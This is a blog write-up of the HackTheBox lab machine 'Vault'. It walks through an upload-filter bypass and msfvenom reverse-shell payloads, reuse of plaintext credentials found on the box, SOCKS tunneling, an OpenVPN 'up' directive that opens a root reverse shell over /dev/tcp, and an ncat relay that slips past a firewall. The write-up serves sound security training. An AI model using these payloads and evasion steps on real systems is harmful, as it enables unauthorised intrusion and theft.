Ti Kallisti

HackTheBox "Vault" Write-Up

This was a fun one. To be honest, I even liked it more than my previous favorite, "Active". The "theme" of this box was tunneling, in the several forms it appears. SSH, VPN, Proxy. It was a great learning experience for me, I especially learned a lot about netcat and networking in general.

So, let's start with the obvious first step: nmap.

nmap -A -p- [IP] Starting Nmap 7.70 Nmap scan report for [IP] Host is up (0.040s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA) | 256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA) |_ 256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). [...] Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 111/tcp) HOP RTT ADDRESS 1 81.29 ms [Gateway] 2 19.87 ms [IP]

Nothing fancy here. We have an SSH and an HTTP port. SSH is not a very good initial attack vector in most cases, so let's take a look at Port 80. Just browsing to the root directory gives us some text.  The two most interesting parts here are: "Welcome to the Slowdaddy web interface" "We are proud to announce our first client: Sparklays"

We COULD boot up dirbuster (or similar) and try to bruteforce the subdirectories, but why not go with that's presented to us? Browsing to /slowdaddy leaves us with a 404, but /sparklays gives us a 403 - that means, /slowdaddy does not exist, but /sparklays does, we just don't have the required permissions (yet) to access it.  This gives us a starting point to bruteforce, and if we do, we will quickly find the subdirectory /sparklays/design with the pages /sparklays/design/design.html and /sparklays/design/changelogo.php as well as the subdirectory /sparklays/design/uploads. If we browse to /sparklays/design/changelogo.php, we will find an option to upload files.  The experienced hacker will instantly know that this is a possible vector, with the possibilities of uploading webshells, reverse shells or other malicious files.

Trying to upload a file like "my_shell.php" will result in the website responding with "I'm sorry, Dave, I can't let you do that" "sorry that file type is not allowed". With some knowledge about bypassing such upload filters we eventually get to upload a file called "my_shell.php5". The only thing left now is to set up a listener (e.g. netcat or Metasploit's /exploits/multi/handler) and execute the uploaded file somehow to get a shell. (The listener obviously becomes obsolete if we go with a webshell instead of a reverse shell). For this, we can take a step back and try the obvious first: /sparklays/design/uploads seems like a directory that could potentially contain the uploaded files, so /sparklays/design/uploads/my_shell.php5 should do what we want (Spoiler Alert: it does).

Let's just go over some of the details of what just happened. First, we created a malicious PHP file that grants us a shell. We can write our own shellcode, pull it from exploit-db or just generate it using msfvenom. It's definitely a good skill to have to be able to write your own shellcode, but depending on what you want to achieve, the immense convenience tools like msfvenom provide should not be neglected, either. For a reverse shell, a command like this:

msfvenom -p php/reverse_php -f raw LHOST=[IP] LPORT=[Port] > my_shell.php5
would create a payload that can be listened to with netcat.

As msfvenom normally prints the result to stdout, > my_shell.php5 conveniently redirects the output into a file called "my_shell.php5" for us to use. We can set up our netcat listener like this:

nc -lvp [Port]

The parameters just mean listen with verbose output on port [Port]. And once we uploaded the file and opened it in the browser at /sparklays/design/uploads/my_shell.php5, we get the following:

listening on [any] [Port] ... [IP]: inverse host lookup failed: Unknown host connect to [IP] from (UNKNOWN) [[IP]] 55878 whoami www-data pwd /var/www/html/sparklays/design/uploads

Whereas whoami and pwd are commands I entered and the respective following line is the output.

Netcat is often available per default on most *nix-based systems, so it really helps to get familiar with it. But, as I said before, convenience should not be neglected, so I will also elaborate on using a so-called meterpreter, if we have Metasploit available on our machine. The payload creation is similar, only that we use another kind of payload:

msfvenom -p php/meterpreter/reverse_tcp -f raw LHOST=[IP] LPORT=[Port] > my_shell.php5

Instead of using netcat as a listener, though, we use metasploit:

With either run or exploit we can then start the listener, and once we uploaded and browsed to our payload, we can see this:

[*] Started reverse TCP handler on [IP]:[Port] [*] Sending stage (38247 bytes) to [IP] [*] Meterpreter session 1 opened ([IP]:[Port] -> [IP]:55880) at 2019-02-27 12:33:18 +0100 meterpreter >

The meterpreter is a bit different from a normal *nix or Windows shell, but it offers a great amount of extended functionality (some of which we will come to later).

A hint for the future:

msfvenom --list=payloads
and
msfvenom --list=formats
give a complete overview of the available payloads and formats, respectively. Depending on the situation, we need to adapt the payload and format we use accordingly.

Now that we have a shell, either a "normal" one or a meterpreter, we can scour the file system with commands like ls -l and cd. Eventually, we will stumble across something interesting, namely the directory /home/dave/Desktop with the following contents:

100664/rw-rw-r-- 74 fil 2018-07-24 16:11:47 +0200 Servers 100664/rw-rw-r-- 14 fil 2018-07-24 16:11:38 +0200 key 100664/rw-rw-r-- 20 fil 2018-07-24 16:11:54 +0200 ssh

With a netcat shell, we can call cat [filename], copy the content and write it down on our local machine, so we have the information we need. With a meterpreter shell, we can call download [filename] and it will download the file contents to our own machine immediately. All files are relevant (we'll come to that later), but the most important for the current step is the file called "ssh". With cat ssh we can see that the contents are

dave Dav3therav3123

In regards to the filename, and with some intuition, we can assume that these are credentials to access the SSH port we found during our port scan earlier.

ssh dave@[IP] dave@[IP]'s password: Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-45-generic x86_64)

Last login: Sun Sep 2 07:17:32 2018 from 192.168.1.11 dave@ubuntu:~$

And indeed, we now have SSH access to the target.

The next interesting file is the "Servers" file we acquired earlier. If we have a copy on our own machine, we can view it there, otherwise we can just use our SSH access and navigate to it via cd ~/Desktop and read its contents with cat Servers.

The content

DNS + Configurator - 192.168.122.4 Firewall - 192.168.122.5 The Vault - x

combined with a part of the output of ipconfig:

virbr0 Link encap:Ethernet HWaddr fe:54:00:17:ab:49 inet addr:192.168.122.1 Bcast:192.168.122.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:32 errors:0 dropped:0 overruns:0 frame:0 TX packets:61 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:2144 (2.1 KB) TX bytes:5307 (5.3 KB)

tells us that there are several machines, including the one we connected to via SSH, on the virbr0 network. The problem here is, that all our tools are on our own machine, but not on the machine we connected to, and we can't access these other machines from our own.

Here's a diagram to (hopefully) clarify why that is:

A network diagram detailing a path from the attacker machine to the firewall and DNS server going through an Ubuntu server

The solution: Tunneling. Tunneling will allow us to send internet traffic from our machine to the one with the SSH connection, which in turns forwards the traffic to any machine on the above mentioned virbr0 network. So, how do we do that?

ssh -N -D [Port] dave@[IP]

Yes, it's just that easy

One we set that up, we can set a proxy in a browser of our choice (here are example instructions for Firefox and Chromium, guides for other browsers can also be found via a quick DuckDuckGo search). We can also install proxychains and edit

/etc/proxychains.conf
to only use our proxy. In order to do that, we comment out any existing proxies and add the line:

socks4 127.0.0.1 [Port]

If we do that, we can then use

proxychains [command]
to tunnel any command through the "ubuntu" machine, for example curl:

proxychains curl 192.168.122.4 ProxyChains-3.1 (http://proxychains.sf.net) |S-chain|--127.0.0.1:[Port]--192.168.122.4:80--OK Welcome to the Sparklays DNS Server Click here to modify your DNS Settings Click here to test your VPN Configuration

We see that a web server is running, so why not visit it in our browser? We are greeted with the 2 links that can be seen in the output from the curl request above.

A web browser page displaying a welcome message and two links, one to modify DNS settings the other to test a VPN configuration

Following the link to dns-config.php will result in a 404, but the other link will guide us to a site where we apparently can modify the VPN configuration file of 192.168.122.4.

A web browser page with the title VPN Configurator with a writeable text field and a button saying Update file

Some enumeration will offer us the page /notes with the following content:

"chmod 123.ovpn and script.sh to 777"

And, following our instincts, browsing to  /123.ovpn and /script.sh of course results in more information:

#!/bin/bash sudo openvpn 123.ovpn

These contents of /script.sh tell us that some script executes the "123.ovpn" file as root. A combination of some further experimentation and intuition shows us that on /vpnconfig.php, the "Update file" action writes whatever we write into the text block to "123.ovpn", while "Test VPN" executes "script.sh". To summarize: We have full control over a configuration file, which is the basis of a command that is executed with root permissions. What to put into this configuration file?

Luckily for us, OpenVPN provides an option in the configuration file to execute any bash command after a VPN connection is established, with up "[command]". We don't need anything fancy, so we just create the most basic of basic configuration files:

remote 192.168.122.1 dev tun script-security 2 nobind up "bin/bash -c 'bash -i >& /dev/tcp/192.168.122.1/[Port] 0>&1'"

The first line, remote 192.168.122.1 tells OpenVPN which VPN Server to connect to, which is necessary for the configuration to be valid. As is the second line, dev tun, which tells OpenVPN which network interface to use to establish the connection.

Before we can make use of this payload, we need to set up a listener on the "ubuntu" machine. For that, we connect to it via ssh, and enter, similar to our reverse shell above, nc -lvp [Port]. Now, when we upload the configuration file with "Update file", and then proceed to execute it with "Test VPN", we are greeted with the following:

dave@ubuntu:~$ nc -lvp [port] Listening on [0.0.0.0] (family 0, port [port]) Connection from [192.168.122.4] port [port] [tcp/*] accepted (family 2, sport 43934) bash: cannot set terminal process group (1072): Inappropriate ioctl for device bash: no job control in this shell root@DNS:/var/www/html#

Ladies and gentlemen, we got a shell.

root@DNS:/home/dave# cd /home cd /home root@DNS:/home# ls -l ls -l total 8 drwxr-xr-x 4 alex alex 4096 Jul 17 2018 alex drwxr-xr-x 5 dave dave 4096 Sep 3 2018 dave root@DNS:/home# cd dave cd dave root@DNS:/home/dave# ls -l ls -l total 8 -rw-r--r-- 1 root root 19 Jul 17 2018 ssh -rw-rw-r-- 1 dave dave 33 Sep 3 2018 user.txt root@DNS:~$ cat user.txt root@DNS:~$ cat ssh

Without much looking around, we get both the user flag and SSH credentials! The first is obviously an achievement in itself, the second can be used to connect via SSH to 192.168.122.4, so we can close our netcat shell.

root@DNS:/home/dave# exit dave@ubuntu:~$ ssh dave@192.168.122.4 dave@192.168.122.4's password: dave@DNS:~$

Some more looking around gives us this:

dave@DNS:/var/www/DNS$ cat interfaces auto ens3 iface ens3 inet static address 192.168.122.4 netmask 255.255.255.0 up route add -net 192.168.5.0 netmask 255.255.255.0 gw 192.168.122.5 up route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.28

The second-to-last line is most interesting for us here. It tells us that 192.168.122.5 (which we know from earlier acts as a Firewall) is the gateway to the 192.168.5.0/24 subnet.

For the next step, it makes sense to open two sessions on the DNS machine.

On the first session, we execute the following:

sudo ncat -l [port] --sh-exec "ncat 192.168.5.2 987 -p 53"

This opens a listener on localhost:[port], and forwards every connection that comes to this port to 192.168.5.2:987 from the local port 53. Now why did we do this? We are currently on a DNS server, an a Firewall is seperating us from the server we want to connect to. The server on the other side probably still wants to get DNS information, though, so the Firewall is in all likelihood configured to allow traffic coming from the DNS Server from the the default port for DNS, 53.

Where does the IP (192.168.5.2 come from, you ask?). Well, I previously skipped that, so here is where I got that IP from:

dave@DNS:/home$ ls -la total 16 drwxr-xr-x 4 root root 4096 Jul 17 2018 . drwxr-xr-x 22 root root 4096 Jul 17 2018 .. drwxr-xr-x 4 alex alex 4096 Jul 17 2018 alex drwxr-xr-x 5 dave dave 4096 Sep 3 2018 dave dave@DNS:/home$ cd alex dave@DNS:/home/alex$ ls -la total 32 drwxr-xr-x 4 alex alex 4096 Jul 17 2018 . drwxr-xr-x 4 root root 4096 Jul 17 2018 .. -rw------- 1 alex alex 638 Jul 24 2018 .bash_history -rw-r--r-- 1 alex alex 220 Jul 17 2018 .bash_logout -rw-r--r-- 1 alex alex 3771 Jul 17 2018 .bashrc drwx------ 2 alex alex 4096 Jul 17 2018 .cache -rw-r--r-- 1 alex alex 655 Jul 17 2018 .profile drwx------ 2 alex alex 4096 Jul 17 2018 .ssh -rw-r--r-- 1 alex alex 0 Jul 17 2018 .sudo_as_admin_successful dave@DNS:/home/alex$ sudo cat .bash_history [sudo] password for dave: s sudo apt install openssh-client sudo apt install openssh-server sudo apt install openvpn [...] ping 192.168.5.2 [...]

So, while the above netcat command is running, on the second sessions, we execute the following:

dave@DNS:/home/alex$ ssh dave@localhost -p [port] -t bash

This connects to localhost:[port] via SSH, but thanks to the previous command, that connection is actually forwarded to 192.168.5.2:987, so we can connect to that machine. The -t bash just tells the SSH connection which shell we want to use, because otherwise the machine would only provide a limited feature shell.

We are greeted with this prompt:

dave@vault:~$

The box's name is "Vault", so with that hostname I guess we're getting close to the finish line.

dave@vault:~$ ls -l total 4 -rw-rw-r-- 1 dave dave 629 Sep 3 2018 root.txt.gpg

And there's the root flag! But wait? ".gpg"? The root flag seems to be encrypted. Let's take a few steps back, and remember our beginnings.

When we first got a shell, we quickly found what we were looking for. But we didn't look around any further, as we thought we had all the information we needed. But that lead to an oversight. There is something really interesting on the first machine we landed on:

dave@ubuntu:~$ ls -la total 124 [...] drwx------ 3 dave dave 4096 Sep 3 2018 .gnupg [...] dave@ubuntu:~$ cd .gnupg dave@ubuntu:~/.gnupg$ ls -la total 36 drwx------ 3 dave dave 4096 Sep 3 2018 . drwxr-xr-x 18 dave dave 4096 Sep 3 2018 .. drwx------ 2 dave dave 4096 Jul 17 2018 private-keys-v1.d -rw------- 1 dave dave 2205 Jul 24 2018 pubring.gpg -rw------- 1 dave dave 2205 Jul 24 2018 pubring.gpg~ -rw------- 1 dave dave 600 Sep 3 2018 random_seed -rw------- 1 dave dave 4879 Jul 24 2018 secring.gpg -rw------- 1 dave dave 1280 Jul 24 2018 trustdb.gpg

There is a GPG Keyring here. Maybe it can help us with the root flag? But first, we have to somehow get the flag on this machine. Nothing easier than that, thanks to scp, a tool that allows us to transfer files over SSH.

We have to do it step-by-step, as there is no direct route from "bault" to "ubuntu". So, first we get the flag from "vault" to "DNS":

dave@DNS:~$ scp -P [port]dave@localhost:/home/dave/root.txt.gpg . dave@localhost's password: root.txt.gpg dave@DNS:~$ ls -l total 12 -rw-rw-r-- 1 dave dave 629 Oct 22 10:56 root.txt.gpg -rw-r--r-- 1 root root 19 Jul 17 2018 ssh -rw-rw-r-- 1 dave dave 33 Sep 3 2018 user.txt

We of course need to use our ncat proxy here again, as we still need to bypass the Firewall. Having done that, we can transfer the flag to the "ubuntu" machine:

dave@ubuntu:~$ scp 192.168.122.4:/home/dave/root.txt.gpg . dave@192.168.122.4's password: root.txt.gpg 100% 629 0.6KB/s 00:00 dave@ubuntu:~$ ls -l total 48 drwxr-xr-x 2 dave dave 4096 Sep 3 2018 Desktop drwxr-xr-x 2 dave dave 4096 Jul 17 2018 Documents drwxr-xr-x 2 dave dave 4096 Jul 17 2018 Downloads -rw-r--r-- 1 dave dave 8980 Jul 17 2018 examples.desktop drwxr-xr-x 2 dave dave 4096 Jul 17 2018 Music drwxr-xr-x 2 dave dave 4096 Jul 17 2018 Pictures drwxr-xr-x 2 dave dave 4096 Jul 17 2018 Public -rw-rw-r-- 1 dave dave 629 Oct 22 02:58 root.txt.gpg drwxr-xr-x 2 dave dave 4096 Jul 17 2018 Templates drwxr-xr-x 2 dave dave 4096 Jul 17 2018 Videos

Now we just have to decrypt it:

dave@ubuntu:~$ gpg --output root.txt --decrypt root.txt.gpg You need a passphrase to unlock the secret key for user: "david " 4096-bit RSA key, ID D1EB1F03, created 2018-07-24 (main key ID 0FDFBFE4) Enter passphrase:

A passphrase, hm? Remember earlier, when I said that all the files in /home/dave/Desktop, Servers, key and ssh were important. Well, I wasn't lying:

dave@ubuntu:~/Desktop$ cat key itscominghome

If we then try to encrypt again, and enter the passphrase:

dave@ubuntu:~$ gpg --output root.txt --decrypt root.txt.gpg You need a passphrase to unlock the secret key for user: "david " 4096-bit RSA key, ID D1EB1F03, created 2018-07-24 (main key ID 0FDFBFE4) gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24 "david " dave@ubuntu:~$ ls -l total 52 drwxr-xr-x 2 dave dave 4096 Sep 3 2018 Desktop drwxr-xr-x 2 dave dave 4096 Jul 17 2018 Documents drwxr-xr-x 2 dave dave 4096 Jul 17 2018 Downloads -rw-r--r-- 1 dave dave 8980 Jul 17 2018 examples.desktop drwxr-xr-x 2 dave dave 4096 Jul 17 2018 Music drwxr-xr-x 2 dave dave 4096 Jul 17 2018 Pictures drwxr-xr-x 2 dave dave 4096 Jul 17 2018 Public -rw-rw-r-- 1 dave dave 33 Oct 22 02:58 root.txt -rw-rw-r-- 1 dave dave 629 Oct 22 02:58 root.txt.gpg drwxr-xr-x 2 dave dave 4096 Jul 17 2018 Templates drwxr-xr-x 2 dave dave 4096 Jul 17 2018 Videos dave@ubuntu:~$ cat root.txt

We got our root flag!